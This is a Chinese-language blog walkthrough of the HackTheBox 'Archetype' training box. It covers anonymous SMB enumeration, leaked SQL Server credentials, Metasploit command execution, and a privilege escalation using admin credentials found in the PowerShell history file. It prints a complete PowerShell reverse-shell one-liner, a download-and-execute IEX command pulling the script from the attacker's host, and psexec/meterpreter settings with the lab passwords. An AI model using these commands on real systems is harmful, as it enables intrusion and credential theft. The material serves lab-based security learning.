HackTheBox - StartingPoint-Archetype

本文最后更新于:2022年4月14日 晚上

吐槽下VPN,太不稳定了。。

但没交钱嘛,俺无话可说

0x01 信息收集

1
nmap -sC -sV -v 10.10.10.27

-sC:使用默认脚本进行扫描,等同于–script=default
-sV:探测开启的端口来获取服务、版本信息

-v:vpn不稳定,开了看扫描是不是挂掉了

典型的windows配置,没有WEB站点:

image-20210912102057170

0x02 user.txt

445端口的话可以尝试SMB爆破、匿名访问等,winserver版本那么高就不可能有永恒之蓝啦。

这里最后试出来是匿名访问,使用如下命令访问共享资源列表:

1
smbclient -N -L //10.10.10.27/

image-20210912102317995

-N参数去掉即可访问对应的共享资源,然后使用dir命令即可看到共享的文件。

image-20210912102501965

这里是有一个prod.dtsConfig,使用get命令可以下载下来:

image-20210912102652986

可以拿到泄露的账户密码。Google一下能够发现是SQLSERVER的配置信息:

image-20210912102843077

于是我们可以使用metasploit的mssql_exec模块执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
msf6 auxiliary(admin/mssql/mssql_exec) > set rhosts 10.10.10.27
rhosts => 10.10.10.27
msf6 auxiliary(admin/mssql/mssql_exec) > set username sql_svc
username => sql_svc
msf6 auxiliary(admin/mssql/mssql_exec) > set password M3g4c0rp123
password => M3g4c0rp123
msf6 auxiliary(admin/mssql/mssql_exec) > set domain ARCHETYPE
domain => ARCHETYPE
msf6 auxiliary(admin/mssql/mssql_exec) > set use_windows_authent true
use_windows_authent => true
msf6 auxiliary(admin/mssql/mssql_exec) > set cmd whoami
cmd => whoami

image-20210912103145978

结果是肥肠不戳的,我们可以进一步把shell拿回来。

这里直接使用msf的web_delivery模块是会被杀软拦截的,因为没有免杀(Very Easy等级的Box 上杀软真的不大丈夫嗷)。。

这里就用了官方WP提供的免杀Script:

1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.98",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

将其保存成reverse_shell.ps1

接下来开启80端口的HTTPSERVER,然后在443上NC监听:

image-20210912103639411

在msf上重新设置要执行的命令,注意转义。

1
set cmd PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile  IEX (New-Object Net.WebClient).DownloadString(\\\"http://10.10.14.98/reverse_shell.ps1\\\");

拿到shell之后一路dir下去。能够在用户的桌面找到user.txt

1
type c:\\Users\\sql_svc\\Desktop\\user.txt

image-20210912104054373

0x03 root.txt

root的提权是利用了命令执行历史记录的泄露。一番查找后找到目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

能够找到泄露的管理员凭据信息:

image-20210912104621969

直接使用msf的psexec模块即可拿到靶机的meterpreter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
   Name                  Current Setting   Required  
---- --------------- --------
RHOSTS 10.10.10.27 yes
RPORT 445 yes
SERVICE_DESCRIPTION no
SERVICE_DISPLAY_NAME no
SERVICE_NAME no
SMBDomain . no
SMBPass MEGACORP_4dm1n!! no
SMBSHARE no
SMBUser administrator no


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required
---- --------------- --------
EXITFUNC thread yes
LHOST 10.10.14.98 yes
LPORT 4444 yes

image-20210912105037407

在管理员的桌面目录下即可拿到root的flag:

image-20210912105314444


HackTheBox - StartingPoint-Archetype
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/StartingPoint-Archetype/
作者
何语灵
发布于
2021年12月7日
许可协议